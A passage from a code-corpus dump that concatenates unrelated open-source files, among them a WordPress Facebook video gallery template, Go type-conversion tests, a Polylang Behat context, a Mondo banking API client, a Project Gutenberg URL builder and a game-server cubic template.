return m_dependency; // Not necessary, but need to satisfy compiler
}
| gpl-3.0 |
iamgurwinderdubb/Facebook-API-WordPress-Plugin | dubb_template/page-video-gallery.php | 4053 | <?php get_header( ); ?>
<?php
$settings = get_option('dubb_facebook_extra_settings' );
if ( !isset($settings["dubb_fb_posts_show_video_gallery"]) ) {
echo "Please Activate Facebook Gallery from Admin Panel";
} else {
$videos = dubb_facebook_videos_list();
}
//print_r($videos['videos']['data']);
?>
<link href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" rel="stylesheet">
<style type="text/css">
.fb-image-image-wrap{
margin-bottom:30px;
border: 8px solid #fff;
margin-bottom: 30px;
border: 2px solid #eee;
background: #f4f4f4;
padding: 20px;
display:block;
}
.fb-image-image-wrap img{
object-fit:cover;
width:100%;
height:400px;
}
/* ---- grid ---- */
.fb-image-image-wrap:before {
content: "\f144";
opacity: 1;
position: absolute;
left: 50%;
top: 50%;
-webkit-transform: translate(-50%,-50%);
transform: translate(-50%,-50%);
border-radius: 3px;
-webkit-transition: opacity .2s ease-out;
transition: opacity .2s ease-out;
font-family: FontAwesome;
font-weight: 400;
line-height: 1;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
z-index: 1;
color: #fff;
font-size: 4em;
}
.fb-image-image-wrap:hover:before{
color:#83b828;
}
</style>
<section class="page-title">
<div class="container ">
<div class="row">
<header class="col-sm-12 text-center"><h1>Video Gallery</h1></header>
</div>
</div>
</div>
</section>
<div class="container">
<div class="row grid">
<div class="grid-sizer"></div>
<?php
if (is_array($videos)) {
foreach ($videos['videos']['data'] as $key) {
?>
<div class="col-sm-6 col-lg-4 col-md-4 grid-item-video">
<!-- <?php //echo $key['embed_html']; ?> -->
<a href="<?php echo $key['source']; ?>" data-toggle="lightbox" data-gallery="example-gallery" class="fb-image-image-wrap">
<img src="<?php echo $key['thumbnails']['data'][0]['uri']; ?>" class="">
</a>
</div>
<?php
}
}?>
</div>
</div>
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.11.0/umd/popper.min.js" integrity="sha384-b/U6ypiBEHpOf/4+1nzFpr53nxSS+GLCkfwBdFNTxtclqqenISfwAzpKaMNFNmj4" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta/js/bootstrap.min.js" integrity="sha384-h0AbiXch4ZDo7tp9hKZ4TsHbi047NrKGLO3SEJAg45jXxnGIfYzk4Si90RDIqNm1" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.js"></script>
<!-- for documentation only -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/anchor-js/3.2.1/anchor.min.js"></script>
<script type="text/javascript">
$(document).ready(function ($) {
// delegate calls to data-toggle="lightbox"
$(document).on('click', '[data-toggle="lightbox"]:not([data-gallery="navigateTo"]):not([data-gallery="example-gallery-11"])', function(event) {
event.preventDefault();
return $(this).ekkoLightbox({
onShown: function() {
if (window.console) {
return console.log('Checking our the events huh?');
}
},
onNavigate: function(direction, itemIndex) {
if (window.console) {
return console.log('Navigating '+direction+'. Current item: '+itemIndex);
}
}
});
});
});
</script>
<?php get_footer( ); ?>
| gpl-3.0 |
HappyMelly/teller | frontend/js/person/mailchimp-edit-page.js | 224 | 'use strict';
import EditForm from "./intergration-widgets/_mailchimp-form";
$(function(){
EditForm.plugin('.js-edit-mailchimp', {
url: jsRoutes.controllers.cm.facilitator.MailChimp.create().url
});
});
| gpl-3.0 |
mongoeye/mongoeye | helpers/safe_test.go | 2829 | package helpers
import (
"github.com/stretchr/testify/assert"
"gopkg.in/mgo.v2/bson"
"testing"
)
func TestSafeToObjectId(t *testing.T) {
var input interface{} = bson.ObjectIdHex("57605d5dc3d5a2429db0bd09")
assert.Equal(t, bson.ObjectIdHex("57605d5dc3d5a2429db0bd09"), SafeToObjectId(input))
}
func TestSafeToObjectId_Invalid(t *testing.T) {
var input interface{} = "abc"
assert.Panics(t, func() {
SafeToObjectId(input)
})
}
func TestSafeToDouble(t *testing.T) {
var input interface{} = 123.45
assert.Equal(t, 123.45, SafeToDouble(input))
}
func TestSafeToDouble_Invalid(t *testing.T) {
var input interface{} = "abc"
assert.Panics(t, func() {
SafeToDouble(input)
})
}
func TestSafeToString(t *testing.T) {
var input interface{} = "abcdef"
assert.Equal(t, "abcdef", SafeToString(input))
}
func TestSafeToString_Invalid(t *testing.T) {
var input interface{}
assert.Panics(t, func() {
SafeToString(input)
})
}
func TestSafeToBool(t *testing.T) {
var input interface{} = true
assert.Equal(t, true, SafeToBool(input))
}
func TestSafeToBool_Invalid(t *testing.T) {
var input interface{} = "abc"
assert.Panics(t, func() {
SafeToBool(input)
})
}
func TestSafeToDate(t *testing.T) {
var input interface{} = ParseDate("2017-01-15T10:14:05+00:00")
assert.Equal(t, ParseDate("2017-01-15T10:14:05+00:00"), SafeToDate(input))
}
func TestSafeToDate_Invalid(t *testing.T) {
var input interface{} = "abc"
assert.Panics(t, func() {
SafeToDate(input)
})
}
func TestSafeToInt(t *testing.T) {
var input interface{} = 756
assert.Equal(t, 756, SafeToInt(input))
}
func TestSafeToInt_Invalid(t *testing.T) {
var input interface{} = "abc"
assert.Panics(t, func() {
SafeToInt(input)
})
}
func TestSafeToInt32(t *testing.T) {
var input interface{} = int32(756)
assert.Equal(t, int32(756), SafeToInt32(input))
}
func TestSafeToInt32_Invalid(t *testing.T) {
var input interface{} = "abc"
assert.Panics(t, func() {
SafeToInt32(input)
})
}
func TestSafeToTimestamp(t *testing.T) {
var input interface{} = bson.MongoTimestamp(14256987)
assert.Equal(t, bson.MongoTimestamp(14256987), SafeToTimestamp(input))
}
func TestSafeToTimestamp_Invalid(t *testing.T) {
var input interface{} = "abc"
assert.Panics(t, func() {
SafeToTimestamp(input)
})
}
func TestSafeToLong(t *testing.T) {
var input interface{} = int64(1427)
assert.Equal(t, int64(1427), SafeToLong(input))
}
func TestSafeToLong_Invalid(t *testing.T) {
var input interface{} = "abc"
assert.Panics(t, func() {
SafeToLong(input)
})
}
func TestSafeToDecimal(t *testing.T) {
var input interface{} = ParseDecimal("136.789")
assert.Equal(t, ParseDecimal("136.789"), SafeToDecimal(input))
}
func TestSafeToDecimal_Invalid(t *testing.T) {
var input interface{} = "abc"
assert.Panics(t, func() {
SafeToDecimal(input)
})
}
| gpl-3.0 |
polylang/polylang | tests/features/bootstrap/BrowserPreferredLanguageContext.php | 3752 | <?php
use Behat\Behat\Tester\Exception\PendingException;
use Behat\Behat\Context\Context;
use Behat\Gherkin\Node\PyStringNode;
use Behat\Gherkin\Node\TableNode;
/**
* Defines application features from the specific context.
*/
class BrowserPreferredLanguageContext implements Context {
/**
* @var PLL_UnitTestCase
*/
private $test_case;
/**
* @BeforeSuite
*/
public static function prepare_for_suite() {
require_once __DIR__ . '/../../phpunit/includes/bootstrap.php';
}
/**
* @BeforeFeature
*/
public static function prepare_for_feature() {
PLL_UnitTestCase::setUpBeforeClass();
PLL_UnitTestCase::$model->post->register_taxonomy();
}
/**
* @AfterFeature
*/
public static function clean_after_feature() {
PLL_UnitTestCase::tearDownAfterClass();
}
/**
* Initializes context and test framework.
*/
public function __construct() {
$this->test_case = new PLL_UnitTestCase();
}
/**
* @BeforeScenario
*/
public function prepare_for_scenario() {
$this->test_case->set_up();
}
/**
* @AfterScenario
*/
public function clean_after_scenario() {
PLL_UnitTestCase::delete_all_languages();
$this->test_case->tear_down();
}
/**
* @Given /^my website has content in.*([a-z]{2}-[A-Z]{2}).*?(?:with the slug ([a-z]{2}-[a-z]{2}))?$/
* @param string $language_code Language tag as defined by IETF's BCP 47 {@see https://tools.ietf.org/html/bcp47#section-2.1}
* @param string $language_slug Optional. User's custom slug for given language.
*/
public function my_website_has_content_in( $language_code, $language_slug = '' ) {
$args = empty( $language_slug ) ? array() : array( 'slug' => $language_slug );
PLL_UnitTestCase::create_language( Locale::canonicalize( $language_code ), $args );
$post_id = $this->test_case->factory->post->create();
$default_slug = explode( '-', $language_code )[0];
PLL_UnitTestCase::$model->post->set_language( $post_id, empty( $language_slug ) ? $default_slug : $language_slug );
}
/**
* @Given /^I chose ((?:[-_a-zA-Z]+(?:, )?)+)(?: \(in this order\))? as my preferred browsing languages?$/
* @param string[] $language_codes Language codes as defined by IETF's BCP 47 {@see https://tools.ietf.org/html/bcp47#section-2.1}
*/
public function i_chose_my_preferred_browsing_languages( $language_codes ) {
$language_codes = array_map( 'trim', explode( ',', $language_codes ) );
$accept_languages_header = '';
$languages_count = count( $language_codes );
for ( $i = 0; $i < $languages_count; $i++ ) {
if ( $i > 0 ) {
$accept_languages_header .= ',';
}
$accept_languages_header .= $language_codes[ $i ] . ';q=' . ( 10 - $i ) / 10;
}
$_SERVER['HTTP_ACCEPT_LANGUAGE'] = $accept_languages_header;
}
/**
* @When I visit my website's homepage for the first time
*/
public function i_visit_my_website_homepage_for_the_first_time() {
// TODO: define step
}
/**
* @Then /^Polylang will remember.*([a-z]{2}-[A-Z]{2}).*as my preferred browsing language$/
* @param string $language_code Language codes as defined by IETF's BCP 47 {@see https://tools.ietf.org/html/bcp47#section-2.1}
*/
public function polylang_will_remember( $language_code ) {
PLL_UnitTestCase::$model->clean_languages_cache();
$polylang = new stdClass();
$polylang->model = PLL_UnitTestCase::$model;
$choose_lang = new PLL_Choose_Lang_Url( $polylang );
$preferred_browser_language = $choose_lang->get_preferred_browser_language();
$preferred_locale = PLL_UnitTestCase::$model->get_language( $preferred_browser_language )->locale;
$expected_locale = Locale::canonicalize( $language_code );
PLL_UnitTestCase::assertEquals( $expected_locale, $preferred_locale, "{$preferred_locale} does not match {$expected_locale}" );
}
}
| gpl-3.0 |
aruppen/xwot.py | xwot/device/waterdispenser.py | 4918 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# xwot.py - Python tools for the extended Web of Things
# Copyright (C) 2015 Alexander Rüedlinger
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>
__author__ = 'Alexander Rüedlinger'
from xwot.model import Model
from xwot.model import BaseModel
from xwot.model import Sensor as XWOTSensor
from xwot.model import Context as XWOTContext
from xwot.model import Device as XWOTDevice
class WaterDispenser(XWOTDevice, BaseModel):
__mutable_props__ = ['name', 'streetAddress', 'roomAddress', 'postalCode', 'addressLocality']
__expose__ = __mutable_props__ + ['description', 'valve', 'sensor']
def __init__(self, name, street_address, postal_code, address_locality, room_address):
super(WaterDispenser, self).__init__()
self._dic = {
'name': name,
'streetAddress': street_address,
'postalCode': postal_code,
'addressLocality': address_locality,
'roomAddress': room_address
}
self.add_type('xwot-ext:WaterDispenser')
self.add_link('valve')
self.add_link('sensor')
@property
def resource_path(self):
return '/waterdispenser'
@property
def name(self):
return self._dic['name']
@property
def description(self):
return "Hi there my name is %s. I'm a water dispenser and currently present in room %s at the location: %s, %s, %s" % \
(self.name, self.roomAddress, self.streetAddress, self.addressLocality, self.postalCode)
@property
def valve(self):
return '/waterdispenser/valve'
@property
def sensor(self):
return '/waterdispenser/sensor'
@property
def streetAddress(self):
return self._dic['streetAddress']
@property
def postalCode(self):
return self._dic['postalCode']
@property
def addressLocality(self):
return self._dic['addressLocality']
@property
def roomAddress(self):
return self._dic['roomAddress']
from xwot.i2c.adapter import WaterDispenserAdapter
class Valve(XWOTContext, Model):
__mutable_props__ = ['name', 'state']
__expose__ = __mutable_props__ + ['description', 'waterdispenser']
def __init__(self, name, adapter=WaterDispenserAdapter()):
super(Valve, self).__init__()
self._dic = {
'name': name
}
self._adapter = adapter
self.add_type('xwot-ext:Valve')
self.add_link('waterdispenser')
@property
def resource_path(self):
return '/waterdispenser/valve'
@property
def waterdispenser(self):
return '/waterdispenser'
@property
def description(self):
return "A valve that can be opened or closed. It controls the water supply of this water dispenser."
@property
def state(self):
return self._adapter.solenoid_valve_state
@property
def name(self):
return self._dic['name']
def handle_update(self, dic):
if dic.get('state') == 'closed':
self._adapter.close_solenoid_valve()
if dic.get('state') == 'opened':
self._adapter.open_solenoid_valve()
self._dic['name'] = str(dic.get('name', self._dic['name']))
return 200
class Sensor(XWOTSensor, Model):
__expose__ = ['name', 'unit', 'measures', 'description', 'measurement', 'symbol', 'waterdispenser']
def __init__(self, adapter=WaterDispenserAdapter()):
super(Sensor, self).__init__()
self._adapter = adapter
self.add_type('xwot-ext:SoilMoistureSensor')
self.add_link('waterdispenser')
@property
def resource_path(self):
return '/waterdispenser/sensor'
@property
def waterdispenser(self):
return '/waterdispenser'
@property
def name(self):
return 'Soil moisture Sensor'
@property
def unit(self):
return 'Percentage'
@property
def symbol(self):
return '%'
@property
def description(self):
return 'A sensor that measures the soil moisture.'
@property
def measures(self):
return 'Soil moisture'
@property
def measurement(self):
val = self._adapter.soil_moisture
return round(val, 2)
def handle_update(self, dic):
pass | gpl-3.0 |
greenriver/hmis-warehouse | drivers/hud_apr/app/models/hud_apr/generators/apr/fy2021/question_twenty.rb | 504 | ###
# Copyright 2016 - 2021 Green River Data Analysis, LLC
#
# License detail: https://github.com/greenriver/hmis-warehouse/blob/production/LICENSE.md
###
module HudApr::Generators::Apr::Fy2021
class QuestionTwenty < HudApr::Generators::Shared::Fy2021::QuestionTwenty
QUESTION_TABLE_NUMBERS = ['Q20a', 'Q20b'].freeze
def run_question!
@report.start(QUESTION_NUMBER, QUESTION_TABLE_NUMBERS)
q20a_types
q20b_sources
@report.complete(QUESTION_NUMBER)
end
end
end
| gpl-3.0 |
digitales/laravel-mondo | src/Client.php | 6014 | <?php
namespace Digitales\LaravelMondo;
use GuzzleHttp\ClientInterface;
use Digitales\LaravelMondo\AbstractProvider;
use Digitales\LaravelMondo\Api\Account;
use Digitales\LaravelMondo\Api\Transaction;
use Digitales\LaravelMondo\Api\Webhook;
use Digitales\LaravelMondo\Api\Feed;
use Digitales\LaravelMondo\Api\Attachment;
class Client extends AbstractProvider
{
/**
* The separating character for the requested scopes.
*
* @var string
*/
protected $scopeSeparator = ' ';
/**
* The scopes being requested.
*
* @var array
*/
protected $scopes = [ ];
/**
* {@inheritdoc}
*/
protected function getAuthUrl($state)
{
return $this->buildAuthUrlFromBase('https://auth.getmondo.co.uk/', $state);
}
/**
* {@inheritdoc}
*/
protected function getTokenUrl()
{
return 'https://api.getmondo.co.uk/oauth2/token';
}
/**
* Get the access token for the given code.
*
* @param string $code
* @return string
*/
public function getAccessToken($code)
{
$postKey = (version_compare(ClientInterface::VERSION, '6') === 1) ? 'form_params' : 'body';
$response = $this->getHttpClient()->post($this->getTokenUrl(), [
$postKey => $this->getTokenFields($code),
]);
return $this->parseAccessToken($response->getBody());
}
/**
* Get the POST fields for the token request.
*
* @param string $code
* @return array
*/
protected function getTokenFields($code)
{
return array_add(
parent::getTokenFields($code), 'grant_type', 'authorization_code'
);
}
/**
* {@inheritdoc}
*/
protected function getUserByToken($token)
{
return $this->user()->whoami();
}
/**
* {@inheritdoc}
*/
protected function mapUserToObject(array $user)
{
return (new User)->setRaw($user)->map([
'id' => $user['id'], 'nickname' => array_get($user, 'nickname'), 'name' => $user['displayName'],
'email' => $user['emails'][0]['value'], 'avatar' => array_get($user, 'image')['url'],
]);
}
public function setToken( $token )
{
$this->token = $token;
}
public function setRefreshToken( $refreshToken )
{
$this->refreshToken = $refreshToken;
}
/**
* Transaction methods
*
* @param string $token || null The user's authentication token
* @param string $refreshToken || null The user's authentication refresh token
* @param $client || null
*
* @return object Digitales\LaravelMondo\Api\Transaction
*/
public function transaction( $token = null, $refreshToken = null, $client = null)
{
$userToken = (!$token) ? $this->token : $token;
$userRefreshToken = (!$refreshToken) ? $this->refreshToken : $refreshToken;
$userClient = (!$client) ? $this->client : $client;
return new Transaction( $userToken, $userRefreshToken, $userClient, $this->clientId, $this->clientSecret );
}
/**
* Account methods
*
* @param string $token || null The user's authentication token
* @param string $refreshToken || null The user's authentication refresh token
* @param $client || null
*
* @return object Digitales\LaravelMondo\Api\Account
*/
public function account( $token = null, $refreshToken = null, $client = null )
{
$userToken = (!$token) ? $this->token : $token;
$userRefreshToken = (!$refreshToken) ? $this->refreshToken : $refreshToken;
$userClient = (!$client) ? $this->client : $client;
return new Account( $userToken, $userRefreshToken, $userClient, $this->clientId, $this->clientSecret);
}
/**
* Webhook methods
*
* @param string $token || null The user's authentication token
* @param string $refreshToken || null The user's authentication refresh token
* @param $client || null
*
* @return object Digitales\LaravelMondo\Api\Webhook
*/
public function webhook( $token = null, $refreshToken = null, $client = null )
{
$userToken = (!$token) ? $this->token : $token;
$userRefreshToken = (!$refreshToken) ? $this->refreshToken : $refreshToken;
$userClient = (!$client) ? $this->client : $client;
return new Webhook( $userToken, $userRefreshToken, $userClient, $this->clientId, $this->clientSecret);
}
/**
* Feed methods
*
* @param string $token || null The user's authentication token
* @param string $refreshToken || null The user's authentication refresh token
* @param $client || null
*
* @return object Digitales\LaravelMondo\Api\Feed
*/
public function feed( $token = null, $refreshToken = null, $client = null )
{
$userToken = (!$token) ? $this->token : $token;
$userRefreshToken = (!$refreshToken) ? $this->refreshToken : $refreshToken;
$userClient = (!$client) ? $this->client : $client;
return new Feed( $userToken, $userRefreshToken, $userClient, $this->clientId, $this->clientSecret );
}
/**
* Feed methods
*
* @param string $token || null The user's authentication token
* @param string $refreshToken || null The user's authentication refresh token
* @param $client || null
*
* @return object Digitales\LaravelMondo\Api\Attachment
*/
public function attachment( $token = null, $refreshToken = null, $client = null )
{
$userToken = (!$token) ? $this->token : $token;
$userRefreshToken = (!$refreshToken) ? $this->refreshToken : $refreshToken;
$userClient = (!$client) ? $this->client : $client;
return new Attachment( $userToken, $userRefreshToken, $userClient, $this->clientId, $this->clientSecret );
}
}
| gpl-3.0 |
openzim/gutenberg | gutenbergtozim/urls.py | 7555 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# vim: ai ts=4 sts=4 et sw=4 nu
import os
import shutil
from collections import defaultdict
from gutenbergtozim.database import Book, BookFormat, Url
from gutenbergtozim.utils import FORMAT_MATRIX, exec_cmd
try:
import urlparse
except ImportError:
import urllib.parse as urlparse
from playhouse.csv_loader import load_csv
class UrlBuilder:
"""
Url builder for the files of a Gutenberg book.
Example:
>>> builder = UrlBuilder()
>>> builder.with_id(<some_id>)
>>> builder.with_base(UrlBuilder.BASE_{ONE|TWO|THREE})
>>> url = builder.build()
"""
SERVER_NAME = "aleph_gutenberg_org"
RSYNC = "rsync://aleph.gutenberg.org/gutenberg/"
BASE_ONE = "http://aleph.gutenberg.org/"
BASE_TWO = "http://aleph.gutenberg.org/cache/epub/"
BASE_THREE = "http://aleph.gutenberg.org/etext"
def __init__(self):
self.base = self.BASE_ONE
def build(self):
"""
Build either an url depending on whether the base url
is `BASE_ONE` or `BASE_TWO`.
The former generates urls according to the Url pattern:
id: 10023 -> pattern: <base-url>/1/0/0/2/10023
The latter generates urls according to the Url pattern:
id: 10023 -> pattern: <base-url>/10023
There's no implementation for the book Id's 0-10, because
these books do not exist.
"""
if self.base == self.BASE_ONE:
if int(self.b_id) > 10:
base_url = os.path.join(
os.path.join(*list(str(self.b_id))[:-1]), str(self.b_id)
)
else:
base_url = os.path.join(os.path.join("0", str(self.b_id)))
url = os.path.join(self.base, base_url)
elif self.base == self.BASE_TWO:
url = os.path.join(self.base, str(self.b_id))
elif self.base == self.BASE_THREE:
url = self.base
return url
def with_base(self, base):
self.base = base
def with_id(self, b_id):
self.b_id = b_id
def __unicode__(self):
return self.build_url()
def get_urls(book):
"""
Get all possible urls that could point to the
book on either of the two mirrors.
param: book: The book you want the possible urls from
returns: a list of all possible urls sorted by their probability
"""
filtered_book = [
bf.format for bf in BookFormat.select().where(BookFormat.book == book)
]
# Strip out the encoding of the file
def f(x):
return x.mime.split(";")[0].strip()
available_formats = [
{x.pattern.format(id=book.id): {"mime": f(x), "id": book.id}}
for x in filtered_book
if f(x) in FORMAT_MATRIX.values()
]
files = sort_by_mime_type(available_formats)
return build_urls(files)
def sort_by_mime_type(files):
"""
Reverse the passed in `files` dict and return a dict
that is sorted by `{mimetype: {filetype, id}}` instead of
by `{filetype: mimetype}`.
"""
mime = defaultdict(list)
for f in files:
for k, v in f.items():
mime[v["mime"]].append({"name": k, "id": v["id"]})
return dict(mime)
def build_urls(files):
mapping = {
"application/epub+zip": build_epub,
"application/pdf": build_pdf,
"text/html": build_html,
}
for i in mapping:
if i in files:
possible_url = mapping[i](files[i])
filtre = [
u
for u in possible_url
if Url.get_or_none(url=urlparse.urlparse(u).path[1:])
]
# Use only the URLs in DB
files[i] = filtre
# for development
# if len(filtre) == 0 and len(possible_url) != 0:
# files[i] = possible_url
# else:
# files[i] = filtre
return files
def index_of_substring(lst, substrings):
for i, s in enumerate(lst):
for substring in substrings:
if substring in s:
return i
return -1
def build_epub(files):
"""
Build the posssible urls of the epub file.
"""
urls = []
b_id = str(files[0]["id"])
u = UrlBuilder()
u.with_id(b_id)
u.with_base(UrlBuilder.BASE_TWO)
if not u.build():
return []
name = "".join(["pg", b_id])
url = os.path.join(u.build(), name + ".epub")
url_images = os.path.join(u.build(), name + "-images.epub")
url_noimages = os.path.join(u.build(), name + "-noimages.epub")
urls.extend([url, url_images, url_noimages])
return urls
def build_pdf(files):
"""
Build the posssible urls of the pdf files.
"""
urls = []
b_id = str(files[0]["id"])
u = UrlBuilder()
u.with_base(UrlBuilder.BASE_TWO)
u.with_id(b_id)
u1 = UrlBuilder()
u1.with_base(UrlBuilder.BASE_ONE)
u1.with_id(b_id)
if not u.build():
return []
for i in files:
if "images" not in i["name"]:
url = os.path.join(u.build(), i["name"])
urls.append(url)
url_dash1 = os.path.join(u1.build(), b_id + "-" + "pdf" + ".pdf")
url_dash = os.path.join(u.build(), b_id + "-" + "pdf" + ".pdf")
url_normal = os.path.join(u.build(), b_id + ".pdf")
url_pg = os.path.join(u.build(), "pg" + b_id + ".pdf")
urls.extend([url_dash, url_normal, url_pg, url_dash1])
return list(set(urls))
def build_html(files):
"""
Build the posssible urls of the html files.
"""
urls = []
b_id = str(files[0]["id"])
file_names = [i["name"] for i in files]
u = UrlBuilder()
u.with_id(b_id)
if not u.build():
return []
if all(["-h.html" not in file_names, "-h.zip" in file_names]):
for i in files:
url = os.path.join(u.build(), i["name"])
urls.append(url)
url_zip = os.path.join(u.build(), b_id + "-h" + ".zip")
# url_utf8 = os.path.join(u.build(), b_id + '-8' + '.zip')
url_html = os.path.join(u.build(), b_id + "-h" + ".html")
url_htm = os.path.join(u.build(), b_id + "-h" + ".htm")
u.with_base(UrlBuilder.BASE_TWO)
name = "".join(["pg", b_id])
html_utf8 = os.path.join(u.build(), name + ".html.utf8")
u.with_base(UrlBuilder.BASE_THREE)
file_index = index_of_substring(files, ["html", "htm"])
file_name = files[file_index]["name"]
etext_nums = []
etext_nums.extend(range(90, 100))
etext_nums.extend(range(0, 6))
etext_names = ["{0:0=2d}".format(i) for i in etext_nums]
etext_urls = []
for i in etext_names:
etext_urls.append(os.path.join(u.build() + i, file_name))
urls.extend([url_zip, url_htm, url_html, html_utf8])
urls.extend(etext_urls)
return list(set(urls))
def setup_urls():
file_with_url = os.path.join("tmp", "file_on_{}".format(UrlBuilder.SERVER_NAME))
cmd = [
"bash",
"-c",
"rsync -a --list-only {} > {}".format(UrlBuilder.RSYNC, file_with_url),
]
exec_cmd(cmd)
# make a copy of rsync's result
shutil.copyfile(file_with_url, file_with_url + ".bak")
# strip rsync file to only contain relative path
with open(file_with_url + ".bak", "r") as src, open(file_with_url, "w") as dest:
for line in src.readlines():
if len(line) >= 47:
dest.write(line[46:])
field_names = ["url"]
load_csv(Url, file_with_url, field_names=field_names)
if __name__ == "__main__":
book = Book.get(id=9)
print(get_urls(book))
| gpl-3.0 |
rubenswagner/L2J-Global | java/com/l2jglobal/gameserver/model/actor/templates/L2CubicTemplate.java | 3338 | /*
* This file is part of the L2J Global project.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.l2jglobal.gameserver.model.actor.templates;
import java.util.ArrayList;
import java.util.List;
import com.l2jglobal.Config;
import com.l2jglobal.gameserver.model.StatsSet;
import com.l2jglobal.gameserver.model.actor.L2Character;
import com.l2jglobal.gameserver.model.cubic.CubicInstance;
import com.l2jglobal.gameserver.model.cubic.CubicSkill;
import com.l2jglobal.gameserver.model.cubic.CubicTargetType;
import com.l2jglobal.gameserver.model.cubic.ICubicConditionHolder;
import com.l2jglobal.gameserver.model.cubic.conditions.ICubicCondition;
/**
* @author UnAfraid
*/
public class L2CubicTemplate implements ICubicConditionHolder
{
private final int _id;
private final int _level;
private final int _slot;
private final int _duration;
private final int _delay;
private final int _maxCount;
private final int _useUp;
private final double _power;
private final CubicTargetType _targetType;
private final List<ICubicCondition> _conditions = new ArrayList<>();
public final List<CubicSkill> _skills = new ArrayList<>();
public L2CubicTemplate(StatsSet set)
{
_id = set.getInt("id");
_level = set.getInt("level");
_slot = set.getInt("slot");
_duration = set.getInt("duration");
_delay = set.getInt("delay");
_maxCount = set.getInt("maxCount");
_useUp = set.getInt("useUp");
_power = set.getDouble("power");
_targetType = set.getEnum("targetType", CubicTargetType.class, CubicTargetType.TARGET);
}
public int getId()
{
return _id;
}
public int getLevel()
{
return _level;
}
public int getSlot()
{
return _slot;
}
public int getDuration()
{
return _duration;
}
public int getDelay()
{
return _delay;
}
public int getMaxCount()
{
return _maxCount;
}
public int getUseUp()
{
return _useUp;
}
public double getPower()
{
return _power;
}
public CubicTargetType getTargetType()
{
return _targetType;
}
public List<CubicSkill> getSkills()
{
return _skills;
}
@Override
public boolean validateConditions(CubicInstance cubic, L2Character owner, L2Character target)
{
return _conditions.isEmpty() || _conditions.stream().allMatch(condition -> condition.test(cubic, owner, target));
}
@Override
public void addCondition(ICubicCondition condition)
{
_conditions.add(condition);
}
@Override
public String toString()
{
return "Cubic id: " + _id + " level: " + _level + " slot: " + _slot + " duration: " + _duration + " delay: " + _delay + " maxCount: " + _maxCount + " useUp: " + _useUp + " power: " + _power + Config.EOL + "skills: " + _skills + Config.EOL + "conditions:" + _conditions + Config.EOL;
}
}
| gpl-3.0 |
WonderNetwork/wondersniffer | TestHelper.php | 2512 | <?php
/**
* This file was copied from CakePhps codesniffer tests before being modified
* File: http://git.io/vkioq
* From repository: https://github.com/cakephp/cakephp-codesniffer
*
* @license MIT
* CakePHP(tm) : The Rapid Development PHP Framework (http://cakephp.org)
* Copyright (c) 2005-2013, Cake Software Foundation, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* @author Addshore
* Modifications
* - runPhpCs takes a second parameter $standard to override the default
*/
use PHP_CodeSniffer\Config;
use PHP_CodeSniffer\Files\LocalFile;
use PHP_CodeSniffer\Reporter;
use PHP_CodeSniffer\Ruleset;
use PHP_CodeSniffer\Runner;
class TestHelper {
protected $rootDir;
protected $dirName;
protected $phpcs;
public function __construct() {
$this->rootDir = dirname(__DIR__);
$this->dirName = basename($this->rootDir);
$this->phpcs = new Runner();
$this->phpcs->config = new Config();
$this->phpcs->config->encoding = 'utf-8';
$this->phpcs->config->verbosity = 0;
$this->phpcs->config->reportWidth = 70;
$this->phpcs->init();
}
/**
* Run PHPCS on a file.
*
* @param string $file To run.
* @param string $standard To run against.
*
* @return string $result The output from phpcs.
*/
public function runPhpCs($file, $standard = '') {
if (empty($standard)) {
$standard = $this->rootDir.'/ruleset.xml';
}
$this->phpcs->config->standards = [$standard];
$this->phpcs->ruleset = new Ruleset($this->phpcs->config);
$this->phpcs->reporter = new Reporter($this->phpcs->config);
$file = new LocalFile($file, $this->phpcs->ruleset, $this->phpcs->config);
ob_start();
$this->phpcs->processFile($file);
$this->phpcs->reporter->printReports();
$result = ob_get_contents();
ob_end_clean();
return $result;
}
}
| gpl-3.0 |
DaltonCaughell/CatchARide-App | src/www/components/pages/index/index.controller.js | 2072 | mainApp.controller("IndexController", function($scope, $http, $location, $state, $mdDialog, crSchedule, crLoading) {
$scope.errors = {};
$scope.isDriver = false;
$scope.isToSchool = false;
$scope.isFromSchool = false;
$scope.params = crSchedule.GetParams();
$scope.$watch('params.To', function() {
if ($scope.params.To !== "" && $scope.params.To !== undefined && $scope.params.To !== "SCHOOL") {
$scope.isToSchool = false;
$scope.isFromSchool = true;
$scope.params.From = "SCHOOL";
} else if (($scope.params.To === "" || $scope.params.To === undefined) && $scope.params.From === "SCHOOL") {
$scope.isToSchool = false;
$scope.isFromSchool = false;
$scope.params.From = "";
}
});
$scope.$watch('params.From', function() {
